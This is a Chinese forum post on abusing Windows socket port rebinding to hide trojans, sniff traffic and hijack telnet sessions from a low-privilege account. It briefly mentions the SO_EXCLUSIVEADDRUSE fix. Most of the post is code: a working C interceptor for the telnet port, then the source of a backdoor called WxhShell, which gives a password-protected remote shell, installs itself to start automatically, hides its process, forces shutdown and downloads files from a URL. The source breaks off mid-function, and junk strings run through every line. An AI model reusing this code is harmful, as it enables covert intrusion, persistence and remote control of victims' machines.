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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1'\s7P  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6#:V3 ;  
>%N,F`^3  
  saddr.sin_family = AF_INET; Ofb&W AD  
k5}Qx'/l  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }Q^*Zq9-  
3:c6x kaw  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cUw$F{|W  
)RWY("SUy1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?oV|.LM:W  
R9K~b^`  
  这意味着什么?意味着可以进行如下的攻击: Y!y pG-  
2PNe~9)*#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {g4w[F!77  
ZBQ@S  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1bDXv, nD  
>C5u>@%9O  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k|jr+hmn":  
tQ.H/;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  v@fy*T\3  
cQ`0d3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 s? Gv/&  
n0V^/j}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !@arPN$  
tu ;Pm4q7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 pUu<0a^  
jnM}N:v  
  #include _0ZBG(  
  #include va"bw!zXo*  
  #include 2P=~6(  
  #include    L{XW2c$h  
  DWORD WINAPI ClientThread(LPVOID lpParam);   V he$vH  
  int main() ,sg\K> H=  
  { [4yw? U  
  WORD wVersionRequested; IF6-VFY:6  
  DWORD ret; L)9Z Op5  
  WSADATA wsaData; 9.9B#?  
  BOOL val; wIWO?w2  
  SOCKADDR_IN saddr; I%<pS ,p  
  SOCKADDR_IN scaddr;  niyxZ<Z  
  int err; M[u6+`  
  SOCKET s; ]$-<< N{}'  
  SOCKET sc; g`2O h5dA  
  int caddsize; NE Zu?g  
  HANDLE mt; XBcbLF  
  DWORD tid;   #\K"FE0PGz  
  wVersionRequested = MAKEWORD( 2, 2 ); <LJb,l"  
  err = WSAStartup( wVersionRequested, &wsaData ); rz%^l1@-  
  if ( err != 0 ) { E>r7A5Uo  
  printf("error!WSAStartup failed!\n"); 8WKY 4nkj  
  return -1; /*M3Ns1@2  
  } aej'cbO  
  saddr.sin_family = AF_INET; yGV>22vv M  
   ]9W7]$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5e?<x>e  
b0x%#trA{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); R. vVl+  
  saddr.sin_port = htons(23); PY+4OZ$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m GJRCK_  
  { "];@N!dA  
  printf("error!socket failed!\n"); l<7SB5  
  return -1; VZ 7(6?W  
  } )$d~HA@B  
  val = TRUE; Krl9O]H/[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 H_aG\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {r5OtYmpR  
  { )dJx82" l  
  printf("error!setsockopt failed!\n"); Zzb?Nbf  
  return -1; P>`|.@  
  } nC!L<OMr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5/CF_v  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &$l#0?Kc^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @Q;s[Kg{!  
!*?9n ^PaF  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @tJic|)x  
  { vF[ 4kDHk  
  ret=GetLastError(); hp2$[p6O  
  printf("error!bind failed!\n"); h b8L[ 4  
  return -1; G68@(<<Z  
  } Y zmMF  
  listen(s,2); UG}2q:ST  
  while(1) P^ <to(|  
  { -YrMVoZl  
  caddsize = sizeof(scaddr); !E)|[:$XT  
  //接受连接请求 [ Q/kNK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B$ho g_=s  
  if(sc!=INVALID_SOCKET) +m/n~-6q  
  { M9Nr/jE  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \F""G,AWq{  
  if(mt==NULL) K5jeazasp  
  {  }Fox  
  printf("Thread Creat Failed!\n"); f"zmNG'  
  break; P|C5k5  
  } 1083p9Uh  
  } H/={RuU  
  CloseHandle(mt); sNP ;  
  } hr hj4  
  closesocket(s); VYt<j<ba  
  WSACleanup(); m^,VEV>  
  return 0; TZ!@IBu  
  }   |>.</68Z  
  DWORD WINAPI ClientThread(LPVOID lpParam) o/n4M]G  
  { GJs~aRiz  
  SOCKET ss = (SOCKET)lpParam; (vvD<S*  
  SOCKET sc; @X560_x[q  
  unsigned char buf[4096]; ;P/ 4.|<  
  SOCKADDR_IN saddr; GS}JyU  
  long num; 9jM7z/Ff  
  DWORD val; DVJn;X^T:  
  DWORD ret; {];-b0MS~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1uB$@a\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   k,f/9e+#  
  saddr.sin_family = AF_INET; \<G"9w  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |{_>H '  
  saddr.sin_port = htons(23); $J&c1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y*v|q=  
  { >7S@3,C3ke  
  printf("error!socket failed!\n"); ]0j_yX  
  return -1; /H3w7QU  
  } mZjpPlJ  
  val = 100; xtLP 4VL  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9.il1mAKg  
  {  _+(@?  
  ret = GetLastError(); (oG.A  
  return -1; j-DWz>x  
  } t V>qV\>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Uqy/~n-v<  
  { e0otr_)3F  
  ret = GetLastError(); %~P T7"4  
  return -1; }&= =;7,O  
  } 4-Jwy  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) K>b4(^lf  
  { G#^0Bh&  
  printf("error!socket connect failed!\n"); kRBO]  
  closesocket(sc); 3wcF R0f  
  closesocket(ss); xgpf2y!{  
  return -1; 3JkdPh  
  } N^@:+,<3  
  while(1) ;[(d=6{hc]  
  { s f->8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 N-Z=p)]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _{gqi$Mi  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2gMG7%d  
  num = recv(ss,buf,4096,0); AQT_s9"0  
  if(num>0) 4l6 8+  
  send(sc,buf,num,0); M}f(-,9  
  else if(num==0) cO 5zg<wF  
  break; +mzLOJed  
  num = recv(sc,buf,4096,0); $bFK2yx?=  
  if(num>0) X J)Y-7c  
  send(ss,buf,num,0); F *r)  
  else if(num==0) pe\Nwq  
  break; V/kndV[j  
  } oD1k7Gq1  
  closesocket(ss); Pnm$g; `P  
  closesocket(sc); 1?1Bz?EKF*  
  return 0 ; SY%y*6[6  
  } 0y?;o*&U\  
-B&(& R  
gZ7R^] k  
========================================================== UxzF5V5  
W I MBw mg  
下边附上一个代码,,WXhSHELL bv b \G  
8&| o  
========================================================== .R'M'a#*!A  
hqmE]hwc  
#include "stdafx.h" `[U.BVP'  
_vDmiIn6K  
#include <stdio.h> 1EEcNtpub]  
#include <string.h> a#;;0R $  
#include <windows.h> #jW=K&;  
#include <winsock2.h> TjYHoL5  
#include <winsvc.h> &} `a"tYr  
#include <urlmon.h> s.Ai _D  
6$'*MpYF4  
#pragma comment (lib, "Ws2_32.lib") 5)eM0,:  
#pragma comment (lib, "urlmon.lib") El;"7Qn  
tqCkqmyC  
#define MAX_USER   100 // 最大客户端连接数 ' BS.:^  
#define BUF_SOCK   200 // sock buffer (;%T]?<9#  
#define KEY_BUFF   255 // 输入 buffer 4gsQ:3  
7bihP@I !  
#define REBOOT     0   // 重启  k%i.B  
#define SHUTDOWN   1   // 关机 a%`%("g!  
}$'_%,  
#define DEF_PORT   5000 // 监听端口 E5M/XW\E6  
R_KDY  
#define REG_LEN     16   // 注册表键长度 e5P9P%1w  
#define SVC_LEN     80   // NT服务名长度 ipbhjK$  
._^ne=Lx  
// 从dll定义API L-C^7[48=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k4{|Xn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s(3HZ>qx;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H@?} !@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H?J:_1  
_#6Q f  
// wxhshell配置信息 h-?yed*?  
struct WSCFG { jqc}mI\#  
  int ws_port;         // 监听端口 ,}gJY^X+  
  char ws_passstr[REG_LEN]; // 口令 6&ut r!\7  
  int ws_autoins;       // 安装标记, 1=yes 0=no e'G=.:  
  char ws_regname[REG_LEN]; // 注册表键名 1p$(\  
  char ws_svcname[REG_LEN]; // 服务名 "8ellKh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9n{Y6I x:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dX@ic,?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H~:oW~Ah  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )Ak#1w&q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Babzrt-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n+ebi>}P  
Sq ]gU  
}; BO w[*hM  
76 )"uqv1x  
// default Wxhshell configuration pka^7OWyN  
struct WSCFG wscfg={DEF_PORT, ~1wt=Ln>  
    "xuhuanlingzhe", 4A6Y \ZXI  
    1, sA| SOAn  
    "Wxhshell", o&Xp%}TI  
    "Wxhshell", =-fM2oiI:  
            "WxhShell Service", w.(WG+  
    "Wrsky Windows CmdShell Service", uH%b rbrU  
    "Please Input Your Password: ", PR:B6 F8  
  1, h]ae^M  
  "http://www.wrsky.com/wxhshell.exe", L,y q=%h|  
  "Wxhshell.exe" [07E-TT2U  
    }; zdrP56rzZ  
D5@=#/?*  
// 消息定义模块 ^]R_t@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VPYLDg.'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *m+FMyr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9U6$-]J  
char *msg_ws_ext="\n\rExit."; bHnKtaK4c  
char *msg_ws_end="\n\rQuit."; x-CjxU3  
char *msg_ws_boot="\n\rReboot..."; B#%QY\<X  
char *msg_ws_poff="\n\rShutdown..."; yj4"eDg]  
char *msg_ws_down="\n\rSave to "; l! 88|~  
Ia}qDGqPp!  
char *msg_ws_err="\n\rErr!"; h$!YKfhq}  
char *msg_ws_ok="\n\rOK!"; @i>)x*I#AI  
Uq#2~0n>  
char ExeFile[MAX_PATH]; %Tp k1  
int nUser = 0; yV:8>9wE8  
HANDLE handles[MAX_USER]; (l{8Ix s  
int OsIsNt; ;P)oKx  
GEc-<`-  
SERVICE_STATUS       serviceStatus; fGlvum  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1n^N`lD8]6  
20|_wAA5  
// 函数声明 (c0L H  
int Install(void); ;QXg*GNAv$  
int Uninstall(void); :5%98V>02  
int DownloadFile(char *sURL, SOCKET wsh); bTimJp[b  
int Boot(int flag); s_NY#MPz[  
void HideProc(void); X1.-C@o  
int GetOsVer(void); '2lzMc>wvP  
int Wxhshell(SOCKET wsl); 0<!9D):Bb  
void TalkWithClient(void *cs); q& -mbWBj  
int CmdShell(SOCKET sock); M11\Di1  
int StartFromService(void); xn2nh@;  
int StartWxhshell(LPSTR lpCmdLine); 5tbCx!tL  
+a.2\Qt2A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `KA==;0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =M;F&;\8  
$5 mGYF]  
// 数据结构和表定义 3Jizv,?  
SERVICE_TABLE_ENTRY DispatchTable[] = SqPqL<,e  
{ }? / Blr  
{wscfg.ws_svcname, NTServiceMain}, lz#.f,h  
{NULL, NULL} 7gf(5p5ZV  
}; oqF?9<Vgc,  
%akW43cE  
// 自我安装 GuR^L@+ -.  
int Install(void) 1!MJ+?Jl  
{ ';FJs&=I  
  char svExeFile[MAX_PATH]; #17 &rizl  
  HKEY key; :VlA2Ih&q  
  strcpy(svExeFile,ExeFile); q"2APvsvp  
1cOR?=G~  
// 如果是win9x系统,修改注册表设为自启动 jSE)&K4nI  
if(!OsIsNt) { $lT8M-yK\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2.%)OC!q&5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tJ;qZyy(  
  RegCloseKey(key); zni9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pV ^+X}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]Wkgpfd56  
  RegCloseKey(key); 1<_][u@  
  return 0; 1(BLdP3&  
    } /io06)-/n  
  }  N~$>| gn  
} 5HOl~E  
else { L'{W|Xb+  
c<|y/n  
// 如果是NT以上系统,安装为系统服务 c rb^TuN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s oY\6mHio  
if (schSCManager!=0) 5/'Q0]4h  
{ hxL?6mhY  
  SC_HANDLE schService = CreateService HfSx*@\s  
  ( b=lJ`|  
  schSCManager, 59)w+AW  
  wscfg.ws_svcname, R*:$^v@4  
  wscfg.ws_svcdisp, n o<$=(11i  
  SERVICE_ALL_ACCESS, NRtH?&7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S3%2T  
  SERVICE_AUTO_START, gd0)s1{9  
  SERVICE_ERROR_NORMAL, t7-]OY7%w_  
  svExeFile, jI\@<6O  
  NULL, G%bv<_R  
  NULL, J "I,]  
  NULL, 8S8qj"s  
  NULL, #b;?:.m\=  
  NULL zz U,0 L  
  ); g0zzDv7~  
  if (schService!=0) Mrrpm% Y  
  { >IaGa!4  
  CloseServiceHandle(schService); oI ick  
  CloseServiceHandle(schSCManager); 4aOz=/x2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !2!Zhw2u  
  strcat(svExeFile,wscfg.ws_svcname); 5]dlD #  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @lj|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `qhT  
  RegCloseKey(key); <h:xZtz  
  return 0; nvrh7l9nX  
    } 7!AyLw  
  } j<(E %KN3  
  CloseServiceHandle(schSCManager); 0V<kpC,4  
} jOfG}:>e\  
} 6ncwa<q5  
e& `"}^X;I  
return 1; _:9}RT?  
} P  y v>  
v>`Fo[c  
// 自我卸载 0`S{>G  
int Uninstall(void) *MmH{!=  
{ =OO4C  
  HKEY key; }lp37,  
^~V2xCu!  
if(!OsIsNt) { htbE Q NW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I;'{X_9$a  
  RegDeleteValue(key,wscfg.ws_regname); Nt $4;  
  RegCloseKey(key); i24k ]F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u1X^#K$nu'  
  RegDeleteValue(key,wscfg.ws_regname); 9o>D Uc  
  RegCloseKey(key); Im~DK  
  return 0; Z4/D38_  
  } 9 ~W]D!m,  
} 8B*(P>  
} _$AM=?P &  
else { o~XK*f=(  
A*DN/lG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ];w}?LFb  
if (schSCManager!=0) 2om:S+3)2  
{ 4q]6[/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j2,sI4  
  if (schService!=0) ZJ%NZAxy  
  { ^ELZ35=qZ  
  if(DeleteService(schService)!=0) { C,+  
  CloseServiceHandle(schService); 'EIe5O p  
  CloseServiceHandle(schSCManager); ra'/~^9  
  return 0; /HRKw D  
  } EFC+7L(j  
  CloseServiceHandle(schService); Ni>Ns=n  
  } >gp53\  
  CloseServiceHandle(schSCManager); v)O0i2  
} 7k*  
} 2p, U ^h  
/o4e n  
return 1; lkT :e)w  
} {*+J`H_G2a  
zn-=mk;W  
// 从指定url下载文件 I^A>YJW  
int DownloadFile(char *sURL, SOCKET wsh) ZXs,TaU  
{ crv#IC2  
  HRESULT hr; .;7V]B1o  
char seps[]= "/"; GU> j8.  
char *token; gamB]FPZ  
char *file; m?Y-1!E0  
char myURL[MAX_PATH]; ~RVlc;W  
char myFILE[MAX_PATH]; < +*  
=,zB|sjn  
strcpy(myURL,sURL); PMTrG78p*  
  token=strtok(myURL,seps); Kfb(wW  
  while(token!=NULL) [j/|)cj  
  { 7_oUuNw  
    file=token; wuXQa wo  
  token=strtok(NULL,seps); T9$~tv,5F  
  } R*bx&..<  
sPQj B[  
GetCurrentDirectory(MAX_PATH,myFILE); S~:uOm2t\  
strcat(myFILE, "\\"); c"tlNf?  
strcat(myFILE, file); yQ/O[(  
  send(wsh,myFILE,strlen(myFILE),0); dUa>XkPa\2  
send(wsh,"...",3,0); [4#HuO@h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >;9g`d  
  if(hr==S_OK) q`p0ul,n  
return 0; )] q Qgc&  
else @@*x/"GJG  
return 1; E\D,=|Mul  
1_{e*=/y  
} X[.%[G|oj}  
*~P| ? D'  
// 系统电源模块 ~OX\R"aZBW  
int Boot(int flag) p+~Imf-Jk  
{ ,Gv}N&  
  HANDLE hToken; !IR cv a  
  TOKEN_PRIVILEGES tkp; _}[WX[Le{  
AsE77AUA  
  if(OsIsNt) { r1 :TM|5L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $ H+X'1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^J>m4`  
    tkp.PrivilegeCount = 1; ng+sK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <|k :%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .b_ppieNY  
if(flag==REBOOT) { +PE-j| D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BC!) g+8  
  return 0; C _he=SV  
} =SmU ;t>t/  
else { S}rEQGGR{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ahg P"Qz  
  return 0; 1y:fH4V  
} Fq~Zr;A  
  } M 0}r)@  
  else { MD$W;rk(Hn  
if(flag==REBOOT) { mRAt5a#is  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k(RKAFjY  
  return 0; K@e2%hk9x  
} HYO/]\al  
else { .$p eq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Xbmsq,*]  
  return 0; Z{vc6oj  
} u:J( 0re  
} T"htWo{v>  
5yt=~  
return 1; i Ehc<  
} r&xIVFPI[  
O1jiD_Y!9  
// win9x进程隐藏模块 #m{(aa9;  
void HideProc(void) C+t3a@&|  
{ K?,? .!ev  
4r_*: $g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '2Zs15)V  
  if ( hKernel != NULL ) nW]CA~  
  { 8Ys)qx>7'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }.D18bE(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V?yQm4  
    FreeLibrary(hKernel); "Ai\NC  
  } &V 7J5~_  
Y>3zpeQ!&  
return; ;Egl8Vhr  
} 6I(Y<LZ5  
JtSwbdN  
// 获取操作系统版本 VXZYRr3F  
int GetOsVer(void) v(Kj6'  
{ 0= bXL!]  
  OSVERSIONINFO winfo; Ndl{f=sjX-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7./-|#  
  GetVersionEx(&winfo); (D[~Z!   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i{N?Y0YQs0  
  return 1; A-B>VX  
  else Ln6emXqw  
  return 0; " ]k}V2l  
} ';\norx;  
<WWZb\"{  
// 客户端句柄模块 %h0BA.r  
int Wxhshell(SOCKET wsl) QsKnaRT  
{ {~]5QKg.  
  SOCKET wsh; !W,LG$=/  
  struct sockaddr_in client; wKdWE`|y  
  DWORD myID; 6K7lQ!#}Q  
h3E}Sa(MQ:  
  while(nUser<MAX_USER) ;=@O.iF;H  
{ unFm~rcf  
  int nSize=sizeof(client); U.Vn|s(`z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xX<T5Ls  
  if(wsh==INVALID_SOCKET) return 1; |1H9,:*%  
n|WSnm,W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o3Yb2Nw  
if(handles[nUser]==0) WU=EJY}#n  
  closesocket(wsh); 2A|mXWG}~  
else x(Uv>k~i}  
  nUser++; #k/T\PQ0s  
  } }LS.bQKqi,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?`Mk$Y%my  
|Wck-+}U  
  return 0; ,_V/W'  
} z@ZI$.w  
J"h2"$v,  
// 关闭 socket 7g Ou|t  
void CloseIt(SOCKET wsh) W\0u[IV.x  
{ )(.g~Q:  
closesocket(wsh); W,,3@:  
nUser--; m4uh<;C~  
ExitThread(0); dm_Pz\ *  
} r/':^Ex  
.P T7  
// 客户端请求句柄 F@ |(  
void TalkWithClient(void *cs) @6|0H`kv  
{ [oBRH]9cq  
OXZK|C;M}  
  SOCKET wsh=(SOCKET)cs; *C|*{!  
  char pwd[SVC_LEN]; 90F.9rh  
  char cmd[KEY_BUFF]; /Dc54U n  
char chr[1]; `=V1w4J  
int i,j; R)N^j'R~=  
SJc*Rl>  
  while (nUser < MAX_USER) { fUis_?!  
=Gj~:|;$  
if(wscfg.ws_passstr) { !Q_Kil.9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '-~J.8-</  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .L^j:2(L  
  //ZeroMemory(pwd,KEY_BUFF); N`,,sw  
      i=0; w(S&X"~  
  while(i<SVC_LEN) { `'r~3kP*NT  
1x/R  
  // 设置超时 p]~PyzG!  
  fd_set FdRead; Hsov0  
  struct timeval TimeOut; (6H 7?nv  
  FD_ZERO(&FdRead); =],c$)  
  FD_SET(wsh,&FdRead); Z s| *+[  
  TimeOut.tv_sec=8; (I;81h`1G  
  TimeOut.tv_usec=0; kuLur)^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);   h)W#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o[JZ>nm  
O 1X)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *j<#5=l  
  pwd=chr[0]; U+ Yu_=o{  
  if(chr[0]==0xd || chr[0]==0xa) { 6 3PV R"  
  pwd=0; ;InMgo,  
  break; &'DR`e O)  
  } D8B\F5..c#  
  i++; ./DlHS;  
    } >D##94PZ  
h<'tQGC  
  // 如果是非法用户,关闭 socket Kx[+$Qt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )B-[Q#*A-  
} #@V<{/;49  
.2rpQa/h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d'Dd66  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I:al[V2g  
Q>\DM'{:4  
while(1) { OFcP4hDi  
=SW<Vhtb  
  ZeroMemory(cmd,KEY_BUFF); %@aC5^Ovy+  
Wy1.nn[  
      // 自动支持客户端 telnet标准   x}` )'a[  
  j=0; m,6u+Z ,  
  while(j<KEY_BUFF) { .A/xH x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8{icY|:MTN  
  cmd[j]=chr[0]; BlT)hG(M>  
  if(chr[0]==0xa || chr[0]==0xd) { &01KHJY)/G  
  cmd[j]=0; (<Cg|*s  
  break; (<H@W/0$  
  } tK+JmbB\  
  j++; ?hp,h3s;n$  
    } DtS7)/<T  
I+^iOa  
  // 下载文件 3T 0'zJ2f  
  if(strstr(cmd,"http://")) { =kOo(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Mxd7X<\$  
  if(DownloadFile(cmd,wsh)) zrE{CdG%y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h<CRW-  
  else ns/*WH&[x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V=>]&95-f  
  } ?%Q=l;W.  
  else { s nNd7v.U6  
l8%BRG  
    switch(cmd[0]) {  0,#n_"  
  a>Aq/=  
  // 帮助 weGsjy(b]N  
  case '?': { ;3Z?MQe"NQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^x( s !4d]  
    break; %\'G2  
  }  l]   
  // 安装 X*Q<REDB  
  case 'i': { u Vv %k5  
    if(Install()) G_k_qP^:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *|6vCR  
    else cs:?Wq ^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I~ mu'T  
    break; nI73E  
    } va#].4_  
  // 卸载 Nd;pkssd  
  case 'r': { ]_L;AD  
    if(Uninstall()) Q!AGalP z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (A?w|/bZd  
    else 0}:Wh&g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k0b6X5  
    break; /;y`6WG%2  
    } NOAz"m+o  
  // 显示 wxhshell 所在路径 ( Y Z2&  
  case 'p': { S,Qa\\~z  
    char svExeFile[MAX_PATH]; qsQTJlq)  
    strcpy(svExeFile,"\n\r"); ][8`}ki 1  
      strcat(svExeFile,ExeFile); pgv, Su  
        send(wsh,svExeFile,strlen(svExeFile),0); {?cF2K#  
    break; x'Nc}  
    } RO[X #c  
  // 重启 {?mb.~(  
  case 'b': { k $# ,^)T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uE%2kB*]  
    if(Boot(REBOOT)) 7D~~<45ct  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #rz!d/)Q  
    else { !Ap*PL  
    closesocket(wsh); !"F8jA}  
    ExitThread(0); urL@SeV+$  
    } Cf v1nU W  
    break; :[C|3KKe"  
    } &-vHb   
  // 关机 }4,[oD  
  case 'd': { zSOZr2- ^a  
